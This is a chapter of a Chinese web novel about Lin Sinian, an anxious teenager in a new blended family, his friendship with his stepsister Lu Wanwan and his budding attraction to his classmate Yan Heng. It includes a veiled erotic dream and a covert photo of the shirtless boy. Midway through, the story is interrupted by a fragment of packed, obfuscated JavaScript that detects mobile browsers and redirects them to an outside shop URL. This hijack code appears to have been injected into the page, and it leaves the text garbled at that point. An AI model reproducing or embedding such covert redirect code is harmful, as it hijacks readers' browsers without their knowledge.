“婉清阿姨,你做饭真好吃。”陆绾绾夹了一块肉放到嘴巴里,笑得眼睛都眯起来。 “你婉清阿姨可是专门学过做饭的,以后有机会好好学学手艺。”陆安书说。 “那肯定,我以后会做饭了,天天做给爸爸和婉清阿姨和斯年弟弟吃。”陆绾绾说。 餐桌上的氛围很温馨,太长的时间,林斯年和林婉清相依为命,现在,他们融入到了一个和谐的新家庭里,他面上不显,内心也是开心的。 吃过午饭,一个下午林斯年都在刷题。 他的记忆力确实很突出,虽然达不到过目不忘的超忆症程度,但是寻常的东西,他只要认真思考过,就一定能记得。 良好的记忆力让他的成绩一直很好。他是一个需要依靠惯性维持生活秩序的人,习惯了成绩名列前茅,就算转学,也不会落下课程。 吃完晚饭,洗完澡,吹干头发,林斯年又坐到了窗前,他看着外面的天空,静坐片刻。 等到听不到走廊的走动声后,他拿出自己的日记本,开始在上面写字。 2020年7月18日,星期六,晴。 君子如珩,羽衣昱耀。 今天,我遇到了一个人。 他叫言珩。 在他和我说话之前,我预见性地知道了两件事情,第一,我会爱上他,第二,这大概率会让我觉得难过。顺序分毫不差。 合上日记本,林斯年又坐了一会儿,关灯上床睡觉。 他今天入睡很快,却睡不踏实,眼前一直萦绕着一双眼睛,和一个肩膀,肩膀上的疤从肩胛骨蜿蜒到脊骨。 睡着了,他的身体却有什么在膨胀,一直寻找出口,他变得轻飘飘的,像一片羽毛,被风托着不知道飘往哪里。 直到一双粗糙滚烫的手掌将他接住。 太烫了。 他似乎要被烫坏。 他无助,只能用力地抓住什么,将每根指头都深深地陷进去,仿佛这样就能将自己身体的一部分狠狠钉入其中,不再悬浮。 梦里闻不到气味,这句话是骗人的,他明明闻到了太阳炙烤水泥地的味道,而后,有什么东西将他禁锢,无法挣脱。 最后的最后,他摸到了一条长长的疤。 第二天醒来的时候,林斯年平躺着,眼前一片白茫茫,他身体的一部分像水一样流走了,莫名让人觉得失落。 他想。 他迟到的青春期终于拉开了帷幕。 18. CH.18 那天之后的好几天,林斯年都没有出过门,他整天待在房间里,大部分时间用来看书,偶尔会看一些国际新闻。 他不想出去,外面的一切,对于他来说都很陌生,他再也没有想起过那个男生了,只是几次午夜梦回,手指总有凹凸不平的触感萦绕。 有的时候,陆绾绾会敲响他的房门,在从林婉清那里得知他的成绩,得知他曾经物理竞赛拿过省级一等奖后,她常常会抱着物理书来问问题。 这个年纪的女孩总是能找到很多新奇却好吃的东西。 她穿着短袖短裤,头发被随意扎在头顶,坐在床边的小地毯上,把奶茶分给林斯年一杯,而后掏出一本习题册:“弟弟,教教我这个呗。” 陆绾绾很得体,她每次来问问题,都会给林斯年带点什么,有时候是饼干,有时候是奶茶。 林斯年从最开始的抵触,到后来居然习惯了陆绾绾一遇到解决不了的问题,就来敲他的门。 陆绾绾能很敏锐地察觉到别人的情绪,他任何时候不舒服,在他变得急躁之前,对方就会礼貌离开。 林斯年曾羡慕过别人有兄弟姐妹,而现在,陆绾绾当姐姐当得很合格。 林斯年给她讲完题:“我讲得还清楚吗,还有什么地方不太清楚吗?” 陆绾绾:“不,很清楚。不愧是学过物理竞赛的,脑子就是滑溜。” “你也很好,我之前给别人讲题,别人都说我跳太快。”林斯年叹气,“其实我每次讲题都刻意加了一些步骤的。” 陆绾绾想到了什么,边嚼奶茶里的脆啵,边笑着说:“不是,不会是别人问你的时候,你插着腰一脸看智障的表情,说人家,连这么简单的东西都不会巴拉巴拉又笨又蠢巴拉巴拉,这题我五岁的时候就会了巴拉巴拉……” 她说得太好笑,林斯年听了也笑了。 “你妈妈说你特别不爱出门,跟你说出门,你会特别难受,有的时候还会哭。”陆绾绾看向林斯年,“为什么呀?” 林斯年坐在地毯的另一角,抱着奶茶,喝了一大口,从陆绾绾的角度看,能看到他的巴掌大的脸突然向两边鼓起来,像个小仓鼠。 她没忍住爬过去,上手戳了戳,引得林斯年脸色大变,往后一跌。 陆绾绾乐了:“你干嘛?” 林斯年没说话。 陆绾绾又说:“问你话呢。” 林斯年低着头,过了好一会儿才说:“我也不知道。” “好吧。”陆绾绾又问,“那种时候,难受会很严重吗?有什么症状呀?” 又隔了一会儿,林斯年缓缓说:“比较严重的一次是中考成绩出来,知道了要去哪所学校,我开始头晕反胃,吃不下饭,等到开学前一周,甚至很多次因为想到开学,焦虑到呕吐。” 陆绾绾摸着下巴想了想:“那你在家里会感觉好一点吗?比如说待在自己的房间里?” “会。”林斯年没说,哪怕他在家里,听到外面的响动,或者陆绾绾进来他的房间,这些在他脑子里随时可能打破界限的行为,也会让他不舒服。 陆绾绾:“虽然我很想跟你说,那我以后尽量不来打扰你了,但是我觉得这样不好,长时间不跟人交流的话,各种功能会退化的,而且你会越来越怕和人交流。” “嗯。”这些,林斯年都知道。 陆绾绾:“那我呢,我来你房间也会让你觉得很不舒服吗?” 林斯年实话实说:“有一点。” 陆绾绾:“只有一点吗?那很好了,那我以后经常来找你说话,你可能就逐渐脱敏了。” 林斯年点头:“好。” “我送你的高达还没拼呢。”陆绾绾把桌子上的盒子拿到地上,“我们一起拼吧。” “好。”林斯年把奶茶放在一边,帮陆绾绾拆包装盒。 兴许是年纪相仿,两人共同话题比较多,虽然大多数时候是陆绾绾在说,林斯年在听。 陆绾绾说她成绩排全校第一,但是要很努力才能维持排名,最喜欢语文和英语老师,物理老师总提醒她退步了,她就不喜欢。 学校里有不少喜欢她的男生,但是她觉得他们长得都丑,而且学习没有她好,还总烦她,一个好脸都不会给。 ——很青春期的少女心事。 很久没有人在自己耳边说这些了。林婉清大多数时候说的都是生活的琐事,那离他还太远了。 如果不是预设的社交会让林斯年焦虑,他其实很喜欢听别人讲话。 讲完自己的事情,陆绾绾又问林斯年在以前学校的经历。她问一大段,然后林斯年只回答是或者不是。 问完,陆绾绾笑了:“怎么感觉我们在玩海龟汤,哦对,你知道海龟汤是什么吗?” 林斯年摇头,他不知道。 “就是,就是……”陆绾绾就是不出来,想了一会儿说,“等下次她们约我玩,我带你一块去,你玩一次就知道了。” “好。”林斯年点头。 “其实我感觉你挺好的,没有婉清阿姨说的那么严重,你都能正常跟我聊天。” “……”可能不到发病时间。 陆绾绾:“我猜测,我猜啊,你可能只是……你知道社恐吗?有没有可能,你只是比较严重的社恐,或者焦虑什么的,想试着去看一下心理医生吗?” 林斯年摇头:“我妈,她比较忌讳这个,我小时候确诊过轻微的自闭,所以她觉得,心理疾病都是精神病,她不会带我去的。” “婉清阿姨居然是这样想的吗?”陆绾绾吃了不小的惊,“但是如果很严重的话,要吃药的,你知道吗?” 林斯年:“我知道。” “那婉清阿姨不管吗?她不是这样的人,我感觉她很关心你,说话的时候,三句里面肯定有一句是关于你的。” “她带我去庙里,去看过神婆……” 陆绾绾想到了某种场景,突然笑了:“不会还要喝符纸化成的水吧……” 顿住,又说:“……不会吧。” 林斯年叹气,点了两下头。 这个事情可把陆绾绾愁坏了。 他们十六七岁,和大人本能地有隔阂,遇到了问题也是,能自己解决就想着自己解决。 过了许久,陆绾绾说:“要是你下次觉得很严重了,我带着你,我们偷偷坐车去T市,我们去看医生,我攒了很多钱,肯定够你看病的。” T市是这边的省会城市,坐高铁过去要一个多小时,陆绾绾想,那里的医生应该会更有经验。 两个小孩在这个下午密谋了一件大事,林斯年朝陆绾绾露出一个浅笑,和以前很多次一样,他轻轻点了点头。 除了和陆绾绾聊天,陆婉清喊他吃饭,他会慢吞吞地从房间出来,其余时间,他不会说一句话。 林婉清身为女性,和一个男孩,总归是有距离的,有时候孤坐在客厅,看着紧闭的房门,会幻视这就是她儿子对她紧锁的心门。 直到林斯年宅在家里的第二周,林婉清觉得她不能再坐以待毙了,作为一个母亲,她不能看着儿子这样颓废下去,不跟社会接触。 某天,下午四点,强迫性地,她敲响了林斯年的房门,说:“年年,出去玩一下吧,就出去两个小时。” 林斯年站在门口,看着林婉清。 林婉清神色近乎哀求:“妈妈求你了。” 于是那天下午,林斯年戴着口罩和帽子,拿着手机,久违地出了门。 他出了门也不知道去哪里,只能绕着小区来来回回地走。 再次经过那个通往工地的豁口的时候,林斯年想起那只黑色的大狗,想起工人们说那只狗不会咬人的话,他站定,向那边张望。 今天没出太阳,热,但是不晒。 他能远远地看到几个工人在干活,看不清楚具体谁是谁。那条狗在不远处的树荫下趴着,被铁链绑在铁栏杆上,蔫蔫的。 林斯年摸了摸口罩,去旁边的便利店里买了两根火腿肠,找了个隐蔽的地方坐下。 他屁股刚挨到石板,小黑鼻子动了动,抖擞着爬起来,往这边小跑来。 虽然已经算好了那狗的锁链到不了这里,林斯年还是心里一紧,他喜欢小狗小猫,也真的怕被小狗小猫咬到或抓到。 那意味着他不得不去打狂犬疫苗。 果然。 那狗跑到他前面十米远,锁链都绷紧了,张开大嘴汪汪汪个不停,林斯年心虚,偷看了一眼忙碌的工人。 还好,没有人注意到这边。 他把口罩拉下来,食指比在嘴边,冲狗发出一个嘘声。挺神奇的,那狗极通人性,居然真的没再冲他叫了,当然,也有可能是看到了他手里的火腿肠。 “你别叫,你悄悄的,不要咬我,我就把火腿肠给你吃。”林斯年小声说。 狗原地趴下,于是他把火腿肠拆了,掰成小块丢给它。 狗吃得很欢,没一会儿就摇起了尾巴。 把火腿肠喂完,林斯年无所事事,一会儿托腮看着工人们干活,一会儿在手机上看电影。人对于注视是很敏感的,他总觉得自己被人盯着。 再一次从电影剧情里抽离,林斯年看向豁口的方向,花色的布料一闪而过。 他收回视线,清了手机后台,托着下巴,不知道在想什么。那狗趴在不远处的地上,懒洋洋抬头看他一眼,又趴下了。 两个小时后,天色渐黑。 林斯年看向工人们在的地方,其实他一过来就看到言珩了,不确定对方有没有看到他,不过看到了应该也不在意。 这地方经常有小孩过来玩,只要不是妨碍到他们干活,就当没看见。 看不清晰。 林斯年打开手机相机,放大到2.7倍。 屏幕上是男生抗货箱的背影,浑身只穿着一条黑色的短裤。 举着手机兀自看了一会儿,突然,林斯年听到有人在喊自己的名字。 “林斯年,你在这儿干嘛呢!” 他手一抖,点了拍照,慌忙把手机熄屏,放到口袋里,看向来人。 是陆绾绾。 她下午出去玩了,这会儿才回来,想起班里有个同学在这边工地上干活,来打个招呼,然后就看到了在角落蜷缩着、跟个小猫似的人。 林斯年站起来,摸了摸脸上的口罩。 陆绾绾气喘吁吁跑到他身边。 他说:“姐姐。” “你在这干嘛呢?”陆绾绾两手撑膝盖,半蹲着缓了口气才站直。 “我……呃……” “好吧好吧。”陆绾绾不在意地摆手,“你看到了没,那边有一个和我们差不多年纪,一个长得特别高的男生。” 她说的应该是言珩。林斯年点头。 “你转来二中,和我在一个班,那个男生也是我们班的,中考成绩很好,不过上了高中一直在退步,性格孤僻,还老是惹事生非,班主任估计挺头疼的,我去催催他语文作业。” “好。” 陆绾绾和言珩说话的时候,林斯年就站在她身后。两人扯皮扯了快十分钟,都没有把要不要写寒假作业这个问题扯清楚。 言珩只有两个字。 要么:“不写。” 要么:“没空。” 在最后一次陆绾绾长篇大论结束后,言珩连这两个字都没有了。 天空彻底暗下来,工人们张罗着吃晚饭,早点吃完还能抓紧赶一会儿工。 深蓝色的背景下,高个子的男生站在水泥堆前面,一手撑着铁锹,他身上的衣服早就在看到陆绾绾往这边走的时候穿好了,不是那件破了的白色老头衫,而是一件黑色的短袖,上面有一团团灰色的水泥痕迹。 因为显眼,所以看起来很窘迫。 林斯年透过陆绾绾的肩膀,小心翼翼觑着他的神情。 旁边的工人打趣:“小言,这女孩是谁,是你小女朋友吗?” 言珩斩钉截铁回答:“不是,她是我们班语文课代表,来催我写作业的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374879|200045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那人听了回答,意味深长地“哦”。 陆绾绾紧了紧拳头,想说些什么,最终只叹了口气:“其实语文老师对你很关心的……” “你到底说完了没。”言珩皱眉,有些不耐烦地说,“说完了就走啊。” 言珩又看向林斯年,下午那会儿,他就注意到了,不过这小孩不出声,就只是坐在角落,他也就没过去。 他心里萦绕着一种奇怪的情绪,很难用语言讲清楚,大概就是单纯不想在这么狼狈的时候被人注视。 心里烦,他这个年纪也不会掩饰,就那么把心里话说出口了:“还有你,你来干嘛,上次就说过了,不怕我给你脑袋开个瓢?” 林斯年对上他的视线,往后退了两步。 他能感知到别人的情绪,但往往想不明白这种情绪因何而来,他觉得现在言珩很愤怒,拿他开瓢这件事未必做不出来。 陆绾绾生气了,挡在林斯年面前:“你欺负他干嘛,你跟他很熟吗,你骂我也就算了,我知道你心里不爽,我也就认了,你吓唬他算什么?” 言珩皱着眉:“他你谁呀?” 陆绾绾一字一句说:“我弟弟!” 言珩嗤笑:“没听说过你还有个弟弟。” “这真我弟弟。”陆绾绾看向林斯年,“喊一声姐姐给他听听。” 林斯年瞅了眼言珩,又瞅了眼陆绾绾,他垂下头,脸都红了,才小声地说:“姐姐。” 私底下他喊陆绾绾姐姐,他没觉得有什么奇怪的地方,但是当着外人,这么义正严辞地喊,还是有点羞耻的。 陆绾绾满意了:“乖。” 和言珩说不通,陆绾绾没继续纠缠下去,留下一句好言难劝要死的鬼,带着林斯年往家走。 他们走后,言珩走到狗趴着的地方,把旁边的小石子踢远了,那狗抖了抖身子,绕到他腿边讨好地蹭了蹭。 言珩不用力地拍了拍它脑袋。 “小黑,你还真不愧是只狗,这么轻易就把你收买了?给你根火腿肠,你就冲人家摇尾巴?” 狗听不懂,狗咬言珩的手。 回去的路上,陆绾绾从手提的袋子里掏出两根糖葫芦,把其中一根递给林斯年。 他们走的是贴着边的小路,这条路上基本上不会有人,林斯年把口罩摘了一半,咬了一整颗糖葫芦,放在嘴里嚼。 到单元楼楼下的时候,陆绾绾冲头顶使劲挥了挥手:“婉清阿姨!” 林斯年也抬头,看到了他妈妈。 “回来啦,正好晚饭也做好了,我这会儿去把饭盛出来。”林婉清高声喊。 “好嘞。”陆绾绾应和。 没有电梯,两人只能爬三层楼梯上去,陆绾绾随口说:“你妈妈人挺好的。” 林斯年陷入回忆:“是。” “我爸吧,就只关心我钱够不够花,学习用功没用功,我第一次来生理期,我吓坏了,我爸听了我的描述,带着我去了医院。”陆绾绾说,“还是医院里的护士姐姐告诉我,这是正常的,教我怎么换卫生巾,肚子痛了该怎么办。” “初中不上生理课吗?” “上啊。”陆绾绾笑了一下,“但是你可能想象不到,小地方嘛,老师不好意思讲,同学们也不好意思听。” 林斯年侧头,猜侧她的心情可能不太好,他又问:“那你妈妈呢?” “我没有妈妈。”她说。 林斯年愣住了。 什么叫没有? 陆绾绾笑了一下,继续说:“我从来没见过我妈妈,我妈在我出生后没几天就去世了。不过据我爸的回忆,是个很温柔很强大的女性,跟你妈妈性格很像的。” “对不起。” “没事,我早就不在意这个了。” 林斯年顿了顿,认真地说:“你也很温柔,很强大,人也很好,很聪明,大家都喜欢你,就算有不喜欢你的,也只是不够了解你……” “我当然知道我很好呀。”陆绾绾笑了,“不聊这个了,聊点别的开心的事情。” “……好。” “哎,对了,你有喜欢的女生吗?” 林斯年摇头,想起了言珩。 “居然没有吗,居然真的没有吗?”陆绾绾一脸不可置信,虽然有夸张的成分在。 “没有。”林斯年说,“那你呢?” “我啊……” 陆绾绾陷入沉思,这个问题似乎要死掉这个年轻女孩很多脑细胞,她愁眉苦脸的,过了好一会儿才茅塞顿开:“有!” 林斯年心脏一突,猜到了答案。 “我喜欢言珩,就刚刚那个男生,你不觉得他长得又高又帅吗,虽然他家境不好,但是光靠那张脸,我就猜他有出息。”陆绾绾说。 “嗯。”林斯年垂眸。 两人回了家,一进家门,热腾腾的饭菜味道扑面而来。 林斯年注意到林婉清身上的裙子,是一件很漂亮的碎花裙,也许是感受到了家的温馨气氛,他笑着说:“妈妈,新裙子好看。” 林婉清得了夸奖,原地转了一圈。 “好看吧,是你陆叔叔给买的,今天他们单位发工资,他一下班就跑去商场了,我说他今天怎么回来这么晚。” “好看,有眼光。”陆绾绾跑去餐桌,用两根指头捏了一块午餐肉扔进嘴里,口齿不清地说,“婉清阿姨长得好看,穿什么都好看,还是陆同志不够努力,迟早有一天得让婉清阿姨穿上prada。” 林婉清笑得一脸开心:“好好好。” 这天晚上,林斯年坐到窗前,他看着外面湛蓝色的天空,静静看了很久。 这一次,比以往每一次都要久。 按照惯例,他沉思的时候,一般是在构思今天的日记怎么写。然而,等他下笔,这天的日记格外简短,只有一句话。 2020年8月1日,星期六,多云。 我总觉得,妈妈每一次看我的眼神,都仿佛在期待着什么,我不知道那是什么。